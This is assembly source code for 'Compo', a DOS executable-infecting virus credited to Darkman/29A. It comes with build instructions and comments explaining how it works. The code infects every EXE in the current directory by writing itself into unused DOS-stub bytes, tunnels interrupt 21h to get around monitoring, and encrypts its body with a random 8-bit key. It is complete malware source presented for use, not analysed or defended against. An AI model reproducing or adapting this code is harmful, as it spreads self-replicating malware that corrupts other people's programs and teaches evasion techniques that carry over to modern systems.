comment *
				 Compo
				Code by
			      Darkman/29A

  Compo is a 145 bytes parasitic direct action new executable DOS stub EXE
  cavity virus. Infects every file in current directory, when executed, by
  overwriting the unused bytes in the DOS stub. Compo uses tunneling of
  interrupt 21h and is oligomorphic in file.

  To compile Compo with Turbo Assembler v 4.0 type:
    TASM /M COMPO.ASM
    TLINK /x COMPO.OBJ
*

.model tiny
.code

code_begin:
	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     ax,4c00h		 ; Terminate with return code

	     jmp     virus_begin

	     db      59h dup(?)
virus_begin:
	     lea     di,crypt_begin	 ; DI = offset of crypt_begin
	     push    di 		 ; Save DI at stack

oligo_crypt  proc    near		 ; 8-bit ADD/SUB encryptor/decryptor
	     mov     cx,(crypt_end-crypt_begin)
crypt_loop:
crypt_algo   equ     byte ptr $+01h	 ; 8-bit encryption/decryption algo...
crypt_key    equ     byte ptr $+02h	 ; 8-bit encryption/decryption key
	     add     byte ptr [di],00h	 ; 8-bit ADD/SUB encrypt/decrypt
	     inc     di 		 ; Increase DI
	     loop    crypt_loop

	     ret			 ; Return!
	     endp
crypt_begin:
	     cli			 ; Clear interrupt-enable flag
	     xor     sp,sp		 ; Zero SP

	     push    ax 		 ; Save AX at stack

	     push    es 		 ; Save ES at stack
	     mov     ah,52h		 ; Get list of lists
	     int     21h
	     mov     ax,es		 ; AX = DOS data segment
	     pop     es 		 ; Load ES from stack

	     cmp     ax,0a000h		 ; DOS data segment in Upper Memory...
	     jb      virus_exit 	 ; Below? Jump to virus_exit

	     mov     word ptr [int21_addr+02h],ax

	     mov     ah,4eh		 ; Find first matching file
	     lea     dx,file_specifi	 ; DX = offset of file_specifi
find_next:
	     call    int21_simula
	     jnc     infect_file	 ; No error? Jump to infect_file
virus_exit:
	     pop     ax 		 ; Load AX from stack
	     int     21h
infect_file:
	     push    es 		 ; Save ES at stack
	     pop     ds 		 ; Load DS from stack (ES)

	     mov     ax,3d02h		 ; Open file (read/write)
	     mov     dl,9eh		 ; DX = offset of filename in Disk ...
	     call    int21_simula
	     xchg    ax,bx		 ; BX = file handle
	     jc      find_next_ 	 ; Error? Jump to find_next_

	     mov     ax,4200h		 ; Set current file position (SOF)
	     xor     cx,cx		 ; Zero CX
	     mov     dx,25eh		 ; CX:DX = offset from origin of ne...
	     call    int21_simula

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     ah,3fh		 ; Read from file
	     mov     cl,02h		 ; Read two bytes
	     mov     dl,low offset data_buffer
	     call    int21_simula

	     mov     di,dx		 ; DI = offset of data_buffer
	     cmp     [di],4c01h 	 ; Infectable new executable?
	     jne     close_file 	 ; Not equal? Jump to close_file

	     in      al,40h
	     lea     si,virus_begin	 ; SI = offset of virus_begin
	     mov     [si+(crypt_key-virus_begin)],al

	     push    es 		 ; Save ES at stack
	     push    cs 		 ; Save CS at stack
	     pop     es 		 ; Load ES from stack (CS)

	     cld			 ; Clear direction flag
	     mov     cl,(code_end-virus_begin)
	     rep     movsb		 ; Create a copy of the virus
	     pop     es 		 ; Load ES from stack

	     lea     di,data_buffer+(crypt_begin-virus_begin)
	     call    oligo_crypt

	     xor     byte ptr [si+(crypt_algo-virus_begin)],(05h xor 2dh)

	     mov     ah,40h		 ; Write to file
	     mov     cl,(code_end-virus_begin)
	     call    int21_simula
close_file:
	     mov     ah,3eh		 ; Close file
	     call    int21_simula
find_next_:
	     mov     ah,4fh		 ; Find next matching file
	     jmp     find_next

int21_simula proc    near		 ; Simulate interrupt 21h
	     pushf			 ; Save flags at stack

	     db      10011010b		 ; CALL imm32 (opcode 9ah)
int21_addr   dd      0000109eh		 ; Address of interrupt 21h

	     ret			 ; Return!
	     endp

file_specifi db      '*.EXE'             ; File specification
crypt_end:
code_end:
data_buffer  db      (code_end-virus_begin) dup(?)
virus_name   db      '[Compo] '          ; Name of the virus
virus_author db      '[Darkman/29A] '    ; Author of the virus
data_end:

end	     code_begin
